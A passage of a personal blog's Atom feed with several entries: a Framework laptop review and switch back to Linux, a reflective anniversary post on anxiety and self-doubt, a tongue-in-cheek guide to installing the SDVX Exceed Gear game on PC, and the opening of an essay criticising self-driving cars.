        <content type="html"><![CDATA[<p>In 2018 I ended 5 years of using Linux after buying my first MacBook because I saw my co-worker use it to seamlessly connect his iPhone to it and I thought that was cool. After messing around with it for about a week, I blogged my first impressions on it <a href="/post/macbook_impressions">in this post.</a></p>
<p>What is most interesting to me about the post is the ending where, as an "open-source software enthusiast", I felt like I had to justify switching from Linux so I wrote what is probably the most common argument against Linux.</p>
<blockquote>
  <p>[…] MacOS, with all it's shitty proprietary software restrictions, is incredibly easy to use. Even though most of my issues with Linux are mainly from using a distro like Arch, it's been a whole week I haven't had any problems with it. I haven't had to mess with any drivers or config files, everything just worked out of the box.</p>
  <p>A few years ago I probably would have hated this, because I preferred constantly breaking my computer and learning how to fix it. But now I have a job and actual things to do. I don't have time to spend a whole weekend reading man pages. Although I would say I have learnt enough where I could fix a problem that would have taken me a day to now only take a few minutes, I can't be bothered with it any more.</p>
</blockquote>
<p>It's interesting because I've gone full circle again.</p>
<p>This may just be a coincidence but since I switched to MacOS I've become increasingly negative towards technology in general. In fact, apart from some programming languages, I can only recall one time I've said something with outright positivity about a piece of tech on this blog.</p>
<p>My opinions of Apple and the general tech industry have changed a lot since I've written that post. I no longer see a shiny new gadget and wonder how it can improve the lives of people, but how it will be used to rent seek and extract money from its' users in the most exploitive ways possible using every dark pattern some marketing team A/B tested to maximise user domestication.</p>
<p>I don't have that exact MacBook any more as I bought an M1 Mac early last year, so that's what I'm going to be comparing it to with the <a href="https://frame.work">Framework laptop</a> I've been using for a week.</p>
<p>And finally, we're at what this post is supposed to be about. Framework promises a laptop that is fully modular and user-serviceable by focusing on ease of replacement and availability of frequently replaced parts, including the battery, screen, keyboard, and bezel.</p>
<p>If you've ever built a PC using individual parts, imagine that but for a laptop.</p>
<p>The laptop hasn't started shipping in Australia yet, but I got tired of waiting and got it shipped here using a US delivery forwarder. After paying a stupid amount for import fees, I was ready to see what the fuss was about.</p>
<p>The first thing you need to do after<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> opening the box is assemble the laptop. Which is a great way to see if they delivered on their promise of being user-maintainable.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>At least if you buy the DIY edition where you specify what parts to buy.</span></aside>
<p>And holy shit did they fucking deliver.</p>
<p>Standard sockets are used for almost everything - NVMe, RAM, even the WiFi card. I could just go out to any computer shop and buy replacements for these right now. The only thing missing from that list to make a computer is the CPU, which makes sense since Intel and AMD don't make socketed CPUs for laptops.</p>
<p>The mainboard is still very easily replaceable however so you can buy a different one if you wanted to change CPUs. There are QR codes on all high use parts (battery, screen, touchpad, etc.) to take you to guides on how to replace them.</p>
<p>And the expansions ports, my god. My 2021 MacBook has two USB-C ports. TWO. AND I WAS OKAY WITH THAT.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> Framework has four ports that you can change between USB-C, USB-A, HDMI, DisplayPort, MicroSD, and a fucking SSD so there's no reason to carry adapters anymore.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>And my 2018 MacBook had four so I have no idea why I thought that was acceptable.</span></aside>
<p>The build quality is a lot nicer than I expected. I don't think anything could beat the metal chassis of a MacBook, but it's certainly better than most non-Apple laptops I've touched. The trackpad in particular feels very good and the only other trackpad I've ever liked are the ones on MacBooks.</p>
<p>So after assembling the laptop, next step is to turn it on and install Linux on it (I certainly wouldn't put Windows on any machine I don't intend to use for gaming). Normally saying "turn on the machine" would be a given and I wouldn't need to say it except in this instance I'm highlighting it because… mine didn't turn on.</p>
<p>After a bit of messing around with the parts and looking on the Internet I had to <a href="https://guides.frame.work/Guide/Fully+Resetting+the+Mainboard+State/113">reset the mainboard state,</a> which was a bit annoying but a lot easier than it sounded at first.</p>
<p>Now with that sorted, it's time to install Linux. I've been eyeing NixOS for a while as well, so might as well try that out.</p>
<p>Yeah that didn't work too, couldn't boot from the USB I put NixOS on.</p>
<p>Not sure whose fault that was (the USB, NixOS, or Framework) but since I could boot from a Manjaro USB just fine, I decided to install that instead.</p>
<p>With all my things setup, let's talk about performance. Does this stack up with an M1 MacBook?</p>
<p>What? Fuck no. Why would you ever think that?</p>
<p>I've mentioned that I can only recall one that I've talked positively about technology. That time was with <a href="/post/apple_silicon">Apple Silicon.</a></p>
<p>The M1 Mac is the biggest jump in laptop hardware I have ever seen. It is almost unrivalled in performance and power efficiency, and a lot of that (as I said in my post) is because it's an SoC (System on Chip) where all the parts are on a single system.</p>
<p>But in order to "fix" or "upgrade" an SoC you need to get an entirely new SoC and that means buying a new laptop.</p>
<p>Framework could never compete with Apple on performance in a post Apple Silicon world. But when I realised that 8GB of RAM wasn't enough in my 2018 MacBook I had to wait 3 years and spend $2700 on an entirely new laptop to be able to increase it, so I'm thinking maybe it's better this way.</p>
<p>What else is great is that I don't have to use MacOS any more. I said in my MacBook impressions that I liked MacOS because it was easy to use and I don't have to configure everything. That was before I started configuring everything.</p>
<p>Turns out I like to tinker with my things, and MacOS constantly got in my way of doing that.</p>
<p>I once tried programmatically managing my displays and windows<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> like you can with i3wm. That didn't work out.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Because having perfect window placement is the most important thing for a software engineer.</span></aside>
<p>Updates require a reboot and take several minutes.</p>
<p>I also wanted to be able to force my display into a vertical orientation so I can play SDVX the correct way. Nope, can't do that.</p>
<p>One time iTunes started crashing on launch for some reason and I was told to update to OSX Catalina (which was still in public beta at that time) to fix it.</p>
<p>Updating did fix it, but only because Apple <strong>removed</strong> iTunes in Catalina and replaced it with Apple Music.</p>
<p>MacOS keeps trying to do things that are "convenient" like switching the audio input to your AirPods from your iPhone to Mac but is actually just fucking annoying.</p>
<p>Homebrew kinda sucks as a package manager and Nix needs a stupid hack to get working with the "security features" of Darwin (and is still not that good when compared to Nix on Linux).</p>
<p>Safari is trash but it gives the best battery performance out of all the browsers so I feel forced to use it.</p>
<p>You pay Apple to spy on you and you can't stop it.</p>
<p>I've actually wanted to switch back to Linux for years now, but Apple Silicon kept me in the ecosystem. I never thought it would be worth it to downgrade to a worse system just for an OS.</p>
<p>Unless… unless there was a laptop that appealed to my tinkering tendencies and let me change it however I wished, just like with my gaming PC. Maybe then it would be worth it.</p>
<p>In unrelated news, today Framework announced that they have raised $18 million in a Series A, which is great for them and I hope they will be grow the company in exciting ways. Unfortunately, I don't actually trust any company that gets VC money<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> to stay true to their mission.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Ignore the fact that I work for one.</span></aside>
<p>Making re-useable and repairable consumer goods isn't exactly the best way of making money, and Framework is going to have to create returns for their investors somehow. I fully expect them to become "evil" at some point. Whether that be from being bought out, or going back on their promises and creating a closed ecosystem.</p>
<p>But this laptop <strong>is</strong> re-useable and repairable. When I won't want to support Framework anymore, that doesn't mean I will be forced to stop using this thing. Apart from if the chassis starts breaking apart, there's no reason that I'll need to buy anything specifically from Framework.</p>
<p>Anyway let's talk about Linux. It's been a long time since I've used it as a daily driver, and I was a little worried that MacOS ruined me and I wouldn't remember how to do anything.</p>
<p>So I'm back on Manjaro now as I still can't really be bothered with Arch. But even though it has more batteries included, I still crave configuring it myself and making it my own.</p>
<p>I've been using Sway which is the i3wm replacement for Wayland that I wanted to try because I hate Xorg. And I'm quite surprised that my muscle memory for keyboard hotkeys is still there.</p>
<p>And I've also been redoing my dotfiles from scratch. Neovim in particular has gone through a big change, with the entire config in lua now.</p>
<p>On all my previous Linux installs, I've had one little different issue that took a while to fix<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> because I refuse to use "normie distros" like Ubuntu where things just work. HAH, can you imagine that? A Linux distro you don't have to spend 3 hours in the Arch wiki to get working? Disgusting.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Not because they were hard issues to fix, but I was just kinda lazy and they didn't bother me that much.</span></aside>
<p>But these have been things like - Bluetooth not working, PulseAudio being PulseAudio, and the computer not recognising external drives. The good shit.</p>
<p>And it seems that this tradition will still continue as I can't get deep sleep working correctly which means my battery drains faster than it should while the computer is suspended.</p>
<p>Apart from that, it's been stable even with all the things I'm changing constantly. I don't know when or what I'm going to do to break it, but at I know that I will at least be <strong>able</strong> to fix it.</p>
<p>I've missed this. It's good to be back.</p>
<hr />
<p>By the way, Windows still sucks. Hopefully with the Steam Deck running on Arch Linux,<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> more games will start to support Linux and I can move my gaming PC off that garbage fire hellscape people refer to as an "Operating System" but is actually just an NSA backdoor.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I seriously can't believe Valve chose Arch.</span></aside>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sometimes Because Of The Difficulty Of Being Alive, I Consider The Possibility That I Don't Actually Have Any Opinions And Everything I Known Has Been Stolen From People Smarter Than Me]]></title>
        <id>https://justin.duch.me/post/opinions</id>
        <link href="https://justin.duch.me/post/opinions"/>
        <updated>2022-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today this blog is now four years old! Four years of screeching into an empty void about loosely related things that most people won't find interesting. But as with <a href="/post/memory_depression/">last years' post</a>, today is a day where I talk about something that is interesting to everyone!</p>
<p>My feelings.</p>
<p>But first, a retrospective on this past year of writing garbage on the Internet.</p>
<p>I think it's been going alright with what I set out to do last year,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> there's that one weird post that seems <a href="/post/spe_001/">bugged out</a>, but overall, I'm slowing creating a body of work that I can be somewhat proud of.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you want to know what I set out, read the post.</span></aside>
<p><strong>Slowly</strong> is probably the keyword here, if you look back you'll probably find that the rate at which I've been writing new posts has gone from once a week, to once a fortnight, and is now roughly once a month. The obvious answers as to why this has happened are that I'm getting lazy or/and I don't have that much to talk about any more, both of which are true to some extent but it's not really as simple as that.</p>
<p>Having to write all these things and put my thoughts into words has requires me to actually examine and think about them critically. And that's good of course, I think it gives me more clarity on things and helps me to construct my opinions better. But there's this one thought that's been popping up repeatedly over the past year.</p>
<p>Why do I think these things?</p>
<p>I'd really like to think that I formed all these opinions on my own through and objective and evidence based view of the world, but I can't believe that in good conscious without feeling like a liar and a scoundrel. I feel like the answer is just "I read it on the somewhere on the Internet and I either haven't put enough though into it or I'm too stupid to argue against it."</p>
<p>Anyway, let's talk about something fun and uplifting instead. How about how I started programming? That's a thing people ask me often when they find out I started working as a software engineer three months after I finished high school.</p>
<p>In July 2015, Zachtronics released the game <a href="https://store.steampowered.com/app/370360/TIS100/">TIS-100</a> onto the Steam store. It's an assembly language programming game and I, a teenager that was into weird hacker shit,<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> thought would be cool and fun to play a game that looked like a glorified DOS prompt. I spent my weekly pocket money allowance and downloaded the game excited about writing code of a made up computer language into 12 black squares.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I'll have you know that I started running Arch Linux and using Vim (to edit config files) a few years before >:)</span></aside>
<p>Turns out assembly language, even a made up one - real confusing. Could not get past the third level.</p>
<p>Was it because I've never written an actual line of code (let alone a line of assembly) in my life before? I thought it would probably help if I actually knew what programming was, so I decided to put the game on hold for now and looked up a Python tutorial on the Internet.</p>
<p>I don't remember what tutorial it was, but I remember thinking that Python (and programming in general) was surprisingly easy to understand and I should have started learning this earlier. And you know what, maybe there are other things that I could learn on the Internet which are surprisingly easy to understand that I never bothered to look at before. Things like economics, philosophy, linguistics - these are things I always thought would be interesting to learn but thought I couldn't understand so never really tried.</p>
<p>This has been my past 7 years, finding something I find remotely interesting and attempting to get a detailed understanding of it from researching it on the Internet. 2015 was also a interesting year for me because it holds my first memory of proper anxiety and depression.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> It's actually one of my clearest memories from my child and teenage years, which is unfortunate because I don't have many of those.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I'm going back into the sad and shitty shitty part of these posts now, sorry. Consider this your warning.</span></aside>
<blockquote>
  <p>Showers are very important tools for programmers. I've designed many systems and fixed many bugs in them while trying to figure out how much shampoo to use. Throughout my time as a programmer, the shower has been the first place I go to when a difficult problem is ahead of me. Maybe it's also not a coincidence that the only place where I'm separated from my phone or computer is my second favourite place to be after being asleep in my bed.</p>
  <p>Every piece of code I've considered "good" was not made in a black and white terminal on a computer, but in a box where bringing and trying to use a computer would destroy it.</p>
  <p>It's just too bad I wasn't a programmer yet.</p>
</blockquote>
<p>This memory comes from before TIS-100<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> and takes place on a nice and sunny Saturday morning. There I was taking a shower and getting ready for another weekend of ignoring the outside world, playing video games, and leaving my homework to the last minute. I don't actually remember any shower I've had before TIS-100 so it seems the first shower I can recall ended with me on the floor crying and struggling to breathe.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Yes, I split my life up in two parts: "before TIS-100" and "after TIS-100". It has surprised me how important that game actually is to me since I don't have that strong of an emotional bond to it.</span></aside>
<p>All my life, I've been called a shy and reserved kid which is not incorrect at all, and anyone who met me would say the same, but I always felt the description was somewhat wrong, that there was more to it than that. Under that stream of hot water, I finally realised that I had (and still have) social anxiety; a genuine fear of interacting with other people. And then I realised how much this disorder has in the past and will in the future - fuck me over.</p>
<p>If I still got anxiety from my friends, how would I ever be able to cope in a job interview? Actually, how could I ever be able to deal with a job, cooperating with co-workers. At least in school I could focus mostly on myself and stay invisible even in group projects, but when my livelihood will start depending on it? I don't think I could handle it.</p>
<p>It was ingrained into me that my entire school life is supposed to lead me to and prepare me for getting a job.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> 17 years (and another 4 if I went to university) would go down the drain if problems with my brain make me unable to function as an adult in the real world.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>That is obviously wrong and a shitty thing to think, but you can blame my parents for that.</span></aside>
<p>That day I had decided that if I didn't find a way to fix myself, I'd kill myself before my 18th birthday.</p>
<p>I turn 22 next month so that obviously didn't happen. But not because I "fixed" myself (whatever that is supposed to mean), but because it didn't mess me up nearly as bad as I thought it would. Don't get me wrong, my brain is still all sorts of messed up and the suicide thing hasn't exactly gone away, so I've really just… learnt to live with it I guess.</p>
<p>Job interviews are actually as horrible as I thought though. Apart from my first, all jobs I've gotten have been through references who have sung my praises to the heavens and on more than one occasion called me a "coding prodigy".<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> I still fear the day when I'll have to find a job by myself and with my merit as a person alone.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>If you're one of the people who have said this, thanks that's really nice. But please don't, it's a lot of pressure to put on me.</span></aside>
<p>But back before 2015 I didn't know any of that. The future scared me as much as ordering food from the lady at the canteen and I never believed I would ever become something.</p>
<p>I wasn't particularly good at or have a real passion for anything back then. I did enjoy video games, but the only way you can turn that into a living is if you're extremely good at them or are extremely entertaining while you play them, and I was certainly neither. Then came the time after TIS-100 and I started realising that "hey, learning stuff on the Internet is actually pretty fun. I like this."</p>
<p>Finally, there was something I could attach myself to. Something I could do to not feel so worthless all the time. And so, I started to judge myself based on my knowledge of things (or the appearance of my knowledge on things).</p>
<p>I have a very low opinion of myself so I wouldn't discount the idea that this "detailed understanding" of things I tried to get from researching it on the Internet is just mindless regurgitation of the things other people say. Knowledge isn't just the ability to produce true statements, it isn't knowing what things are or what things will be, it's knowing why things are and why things will be.</p>
<p>The Internet was an easy way for me to feel intelligent.</p>
<p>This may sound like it's just a case of impostor syndrome, where I have a severe doubt in myself and my skills. But I don't think it's that. I know I at least have some intelligence because I know I would not have a job or be respected by my peers if I didn't. It's more that I don't believe my intelligence is my own or that it has been earned in any way.</p>
<p>While trying to "research :)" if other people feel this and if it's a known thing, I came across this academic article: "<a href="https://www.pnas.org/content/118/43/e2105061118">People mistake the internet’s knowledge for their own</a>".</p>
<p>Normally this is the part where I summarise it and tell you how it applies but in last years' post, I mentioned that it's a bad idea to try to self diagnose yourself with things you read on the Internet, so for once I'm going to heed my own advice and leave that link for you to read for yourself.</p>
<p>Speaking of last years' post, I referenced six academic papers in there and I've only just mentioned the first (and spoiler warning, the only) one here. I like reading research papers. But do I like it because it actually entertains me or because it makes me feel smart? I don't know any more.</p>
<p>I wonder how much as a soon to be 22 year old I actually understand about the world. As far as I know everything I think is correct (or I'm at least on the right track and there is a clear path to completely understanding it), but that is objectively wrong and I must be missing something without realising it.</p>
<p>I worry that I've not just been reading and internalising ideas that are wrong, but that I've just been learning isolated knowledge and that I'm a <a href="https://en.wikipedia.org/wiki/Chinese_room">Chinese room</a> made of flesh, bones, and blood. That I can't do the actual interesting work of synthesis to combine information and ideas or derivation to determine new results from my existing knowledge base.</p>
<p>I want this blog to be a place of learning, but when I read previous writings I start to questioning whether I actually know what I'm talking about. Not that there's any I seriously object to now,<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> I just find it hard to believe that I <em>can</em> be correct on anything, or if I actually added any value to anything and if it was worth writing at all.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I have changed my mine on some minor points of my previous opinions, but the general arguments stay the same. I might make a future post detailing those.</span></aside>
<p>My self-worth is almost entirely dependant on how smart I feel I am and having my thoughts in writing is exposing me to myself.</p>
<h2 id="epilogue">Epilogue</h2>
<p>Enough of that depressing shit. The WRC is back this weekend with a new era of hybrid cars. Generally in motorsports a large regulation change like this narrows the performance gap between cars, which means maybe this year we'll see a different and not stupid country win rallies.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> So let's see how the inaugural event at Monte Carlo is going so far.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>PLEASE ROVANPERÄ I JUST WANT TO SEE A FINN WIN AGAIN.</span></aside>
<p><img src="/img/wrc-2022-monte.png" alt="wrc results" /></p>
<p>fml</p>
<p>And if you're wondering if I ever went back to TIS-100 now that programming is my job so you'd expect me to be better at it, I did in fact play it again in preparation for this post but…</p>
<p>Turns out assembly language, even a made up one - still real confusing. Could not get past the seventh level.</p>
<p>I have finished <a href="https://store.steampowered.com/app/504210/SHENZHEN_IO/">SHEZHEN I/O</a> though, which is like TIS-100 (made by the same people too) but you're an electrical engineer, so maybe it's time for me to change careers.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How To Play SDVX Exceed Gear On PC If You Don't Know Any Japanese]]></title>
        <id>https://justin.duch.me/post/sdvx_exceed_gear</id>
        <link href="https://justin.duch.me/post/sdvx_exceed_gear"/>
        <updated>2021-12-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<ul>
<li>Step 1: Learn Japanese.</li>
</ul>
<p>There are many resources on the Internet for this.</p>
<ul>
<li>Step 2: Go to the <a href="https://p.eagate.573.jp/game/eacsdvx/vi/index.html">SDVX Konasute website</a> and play the game.</li>
</ul>
<p>If you know Japanese, you shouldn't really need a guide for this. It's pretty self explanatory.</p>
<ul>
<li>Step 3: Try to convince people you aren't a weeb because you know Japanese.</li>
</ul>
<p>Oh dear, people now think you're a weeb because you know Japanese (even though you definitely aren't), this is very bad. Here are some things to say when questioned about your Japanese language speaking abilities:</p>
<p>"No, I just like the language."</p>
<p>"I don't actually know much about Japanese history. Don't look at my bookshelf over there."</p>
<p>"I know I almost exclusively consume Japanese media, but that doesn't make me a weeb."</p>
<p>"I HAVEN'T WATCHED AN ANIME IN MONTHS SHUT UP I'M NOT A WEEB"</p>
<ul>
<li>Step 4: Develop an amnesia potion and forget Japanese.</li>
</ul>
<p>So you couldn't convince people you aren't a weeb. Does this mean you'll have to accept the fact that you are one? No, don't worry! But, this just means we'll need a different approach to being able to play SDVX Konasute.</p>
<hr />
<h1 id="howtoplaysdvxexceedgearonpcwithoutlearningjapanesesopeopledontthinkyoureaweeb">How To Play SDVX Exceed Gear On PC Without Learning Japanese So People Don't Think You're A Weeb</h1>
<div class="space-yo post-info" style="padding-bottom: 1em;">
    <div>
        <small>
        publié sur <span class="dt-published">1337-13-37</span>
        </small>

        <small class="readtime">69 min de lecture</small>
    </div>

    <div>
        <small class="fw-100">
            <a class="no-after" href="/post">&#9166; retour</a>
        </small>
    </div>
</div>
<p>Okay so this is actually a guide on getting Sound Voltex Exceed Gear on PC to work, the joke part is over.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> Since I don't know Japanese (because I'm not a weeb) I'm probably going to forget what to do and what buttons to press, so I'm writing this as a reference.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I no longer enjoy writing "guides" unless they have some sort of stupid gimmick.</span></aside>
<p>First the most important part is having a Japanese Konami ID with an e-amusement pass attached. This is <strong>very</strong> important, it HAS to be Japanese otherwise you can't play. Information on what e-amusement is and how to make a Japanese Konami ID is on <a href="https://remywiki.com/E-amusement">remywiki.</a></p>
<p>Now we can actually download the game, go <a href="https://p.eagate.573.jp/game/eacsdvx/vi/download/index.html">here</a> and click the button that looks like a download button<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> to download the <code class="prettyprint">.msi</code> file.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>It's all in Japanese so you'll need to use your natural human abilities of pattern matching to figure out what button looks like it be the download based on your previous experience of downloading things from the Internet. (Hint: there is only one button on the page)</span></aside>
<p>If it doesn't download and instead sends you to a page with a bunch of gibberish, go back, right click the button instead and choose "Save Link As." You can name it whatever you want, but just make sure it ends with <code class="prettyprint">.msi</code>.</p>
<p>Open the file and install the thing. It's pretty straight forward, press the button with "N" to go to the next page, "B" to go back, and the other one cancels. On the first page, tick the box it gives you (I'm assuming those are the terms and conditions), and on the next page is where where you can choose where the game is to be installed.</p>
<p>Now we can test that the game actually works, the installer should have created a desktop shortcut to click on, but if it didn't you can go back to the SDVX website and click the "PLAY GAMES" button at the top. That should take you to a webpage with another button to click which will open the game that you installed your PC.</p>
<p>Make sure to always open the game this way, <strong>do not</strong> try to open the <code class="prettyprint">.exe</code> directly, going through the webpage is how the game authenticates your Konami ID account.</p>
<p>The game should ask to start updating (just say "Yes" or "Ok" to any prompts, it'll be fine I'm sure) or you can press the button with the folder and magnifying glass icon. Once that's done you can go to the settings and change stuff. If you have a SDVX controller you won't need to make any changes, but if you are going to use keyboard you can look at the bindings or change them here.</p>
<p>When you're done with that start the game and test it works, you will be on the trial version for now so there will only be a few songs to play. If it doesn't work then… I dunno, worked for me, can't really help you there.</p>
<p>For the next parts you might not be able to get through just with a basic understanding of website UX design, so I'll be providing translations (from deepL as I don't know Japanese because I am not a weeb) of what words you need to press.</p>
<p>Try not to remember what the characters are so you can be sure to not know any Japanese. If you have a good memory and find this too hard, try bad mouthing Japan to your friends and loved ones with things such as the horrific crimes committed by imperial Japan which the modern government still has not apologised for, or the depressing work culture, or the xenophobia, or the stagnating economy, or the… actually that's probably enough to not sound like a weeb.</p>
<p>Now you'll need to purchase a monthly subscription to the Basic Course, which is done with this <a href="https://p.eagate.573.jp/payment/p/select_course.html?course=eac_sdvx_basic">link</a> and by clicking 了承する ("Acknowledge"), selecting the payment method and 次へ ("Next"), then entering details as needed. You'll be asked to enter your password to confirm the purchase.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>FYI: Basic Course subscriptions expire at the end of the month, which means that you'll get more out of it if you subscribe at the start of the month.</span></aside>
<p>You can either pay with PASELI or a credit card. Info on PASELI is also on <a href="https://remywiki.com/PASELI">remywiki</a>. To use a credit card, you need to add a card to your account first. Log into <a href="https://my.konami.net/index.html">My KONAMI</a> and select クレジットカード情報 ("Credit card information") in the red "KONAMI ID" box, followed by 登録 ("Register"). Enter your card as requested then hit 確認 ("Confirm").</p>
<p>Once you've purchased Basic Course you can play all the songs that come with it, which you can find in the <a href="https://p.eagate.573.jp/game/eacsdvx/vi/music/index.html">song list page</a> which is determined if the song is listed with 最初からプレーできます at the bottom.</p>
<p>The rest of the songs are broadly available from two main sources:</p>
<ul>
<li>Song packs, which are purchasable from <a href="https://p.eagate.573.jp/gate/p/eamusement/coop/list.html?shop=1&category=45&cc=0&ls=1">here.</a> The prices vary based on the number of songs the pack contains. You can find out what songs are in each pack in the aforementioned song list page and using the last filter dropdown.</li>
<li>Monthly bonus songs, made available to players who subscribed to Basic Course in a particular month.</li>
</ul>
<p>One final note, if you don't feel good about giving Konami money because they're a terrible, awful, no good, shitty company whose executives deserve to sleep on the dirt that their brains are made out of as they rot away locked up in no-pizza island, don't worry! You can play a SDVX emulator like <a href="https://github.com/Drewol/unnamed-sdvx-clone">USC</a> instead. Just download SDVX charts <a href="https://oniichan.wtf/help/songs.html">from here</a> and you're good to go!</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Technology Is Bad, Actually]]></title>
        <id>https://justin.duch.me/post/tech_is_bad</id>
        <link href="https://justin.duch.me/post/tech_is_bad"/>
        <updated>2021-10-23T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Ever since my <a href="/post/web3_immortal">last foray</a> into the world of digital money I've been trying to find novel things to spend my Ethereum on in order to get a better understanding of this space.</p>
<p>I did not find anything.</p>
<p>But what I have found instead is worth more than any amount of Ethereum or Bitcoin you could imagine; An endless source of entertainment from the crypto-currency community. It's the perfect mix of obnoxious tech-bros and wealth obsessed "investors", sprinkled in with an anarcho-capitalist's lack of empathy on top. Although most of the time these are all the same people.</p>
<p>But as is now common-place on this blog, let's start by talking about something else instead, another tech-bro fascination known as "self-driving cars".</p>
<p>I wouldn't call myself one because I don't want to be grouped in with the others who are, but I'd fit the bill as a "car enthusiast" and don't really see the point of self-driving cars. I like driving cars, so why would I want it to drive itself? And especially, why would I want to be <strong>banned</strong> from driving a car as so many self-driving car fanatics say I should be?</p>
<p>The main reasons I hear are them being more safe and having traffic congestion eased significantly. Which would be pretty good reasons if any of them were true and that our current self-driving car technology didn't suck balls.</p>
<p>Some say it's just around the corner, maybe a few years, they're wrong.</p>
<p>A self-driving car would need to be closer to Artificial General Intelligence (AGI) than current AI technology - that is, close to being able to mimic the processes of human intelligence, than our current methods of having GPT-3 regurgitating training data to trick people into thinking it understands anything.</p>
<p>The biggest reason for this is the fact that there are <strong>other</strong> people on the road. Driving is not so simple as just following a set of instructions, there are hundreds of external factors that come into play, creating scenarios for the driver that they may never have seen before and expect them to deal with it right then.</p>
<p>If you drive race cars (or pretend ones like me) you already know how you instinctively understand intent from other drivers through "car body language", where subtle movements and characteristics in how someone drives their car can signify what they're about to do. Normal commuters do this too everyday just as instinctively because blinkers aren't enough to understand the complete nonsense that goes through the head of the average driver or the complete nonsense of things that don't have blinkers - like pedestrians.</p>
<p>Granted, I have enough faith in human ingenuity to believe that this will probably get solved at some point, just not for a very long time - like decades long. I simply don't see how current AI architecture can even remotely get close to this level of heuristics.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Yeah, I know Waymo say that their cars have driven over 20 million miles and are safer then humans. But of those miles, where where they? What were the driving conditions? How much human oversight did they need to have? I'll let you know that the answers are: mostly calm suburbs, clear and sunny days, and an entire team of people to oversee the cars of their (limited use) taxi service and go out to fix any issues.</span></aside>
<p>So what about reducing traffic? The idea goes that if all cars were self-driving and completely safe, they'd be able to go any speed they want. And if we get all the cars able to communicate with each other, they'll be able plan out manoeuvring around each other even better than a human relying on "car body language" which would allow us to potentially remove stop lights/signs as we know they won't hit each other.</p>
<p>The problem I have with this thinking is that it's <em>car-centric</em>. How is the issue of traffic caused by too many cars solved by having more cars? Speeding the cars up won't do anything if there are too many cars, because sometimes cars have to slow down to do things like taking turns, or allowing other cars to merge onto the road. Traffic literally only exists because of other cars, adding more will always make it worse. Ironically, there's also the safely implications of having city criss-crosses full of high speed, high traffic, autonomous vehicles for anyone not in a car.</p>
<p>In my opinion self-driving cars won't help very much. To me, they seem like a desperate attempt to maintain car dependence suburbia with a flashy gadget that can be sold to you instead of actually trying to solve the issues facing a city.</p>
<p>So no, I don't think humans should be banned from the streets; I think <strong>cars</strong> should be banned from the streets.</p>
<p>The problems that self-driving cars aim to fix are mostly "American" issues that stem from decades of car-dependent cities. Yes, if you design a city such that everyone needs to drive everywhere all the time, you have problems of crippling traffic, high transportation costs, and dangerous roads. None of these issues really exist in walkable cities with high quality public transport where less people use cars, however.</p>
<p>Cars are expensive, require too much space, are terrible for the environment (yes, even electric cars, but that's a story for another time), and there should be less of them.</p>
<p>On a personal note, wanting less cars might sound strange to hear from a "car enthusiast" but this is why I don't like being grouped in with the others who just memorise the names of car models with their spec sheet and use them as status symbols. I prefer cars as impressive works of engineering where the only place they belong in is at a race track to fulfil their only purpose, which is to go as fast as possible, as safely as possible - with the latter being just as important. It's easy to make a fast car, but not so easy to make a fast car safe.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Part of the reason why I never liked Group B all that much, especially when current WRC cars are so much quicker and don't kill their drivers.</span></aside>
<p>Regardless, the lesson here is that you can't solve a problem by just shoving technology into it. There are hundreds of tiny little political, socio-economic, and cultural facets to any complex problem surrounding our society that a few lines of code running on some silicon can't account for.</p>
<p>Anyway now it's time to talk about crypto-currencies. First, I want to get a little pedantic.</p>
